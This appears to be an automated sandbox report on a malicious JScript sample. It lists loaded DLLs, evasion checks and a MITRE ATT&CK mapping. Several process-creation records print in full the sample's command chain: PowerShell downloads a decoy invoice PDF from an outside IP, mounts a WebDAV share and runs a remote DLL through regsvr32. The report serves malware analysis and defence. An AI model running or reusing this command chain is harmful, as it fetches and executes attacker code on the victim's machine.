Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("WScript.Shell");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("WScript.Shell");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4885			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5014			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3740	Thread sleep count: 4885 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5940	Thread sleep count: 5014 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5332	Thread sleep time: -12912720851596678s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2536	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 4600	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7548	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: wscript.exe, 00000000.00000003.1792866583.000001965CC03000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\V
Source: svchost.exe, 00000008.00000002.3083718904.000002BDB622B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@w
Source: net.exe, 00000006.00000002.1841261363.00000183ABB28000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1841261363.00000183ABB88000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.3085140763.000002BDBB854000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\74971460628132.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\74971460628132.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\74971460628132.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\74971460628132.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\74971460628132.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	22 Scripting	Valid Accounts	1 Command and Scripting Interpreter	22 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
14957144702878221204.js	8%	ReversingLabs

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

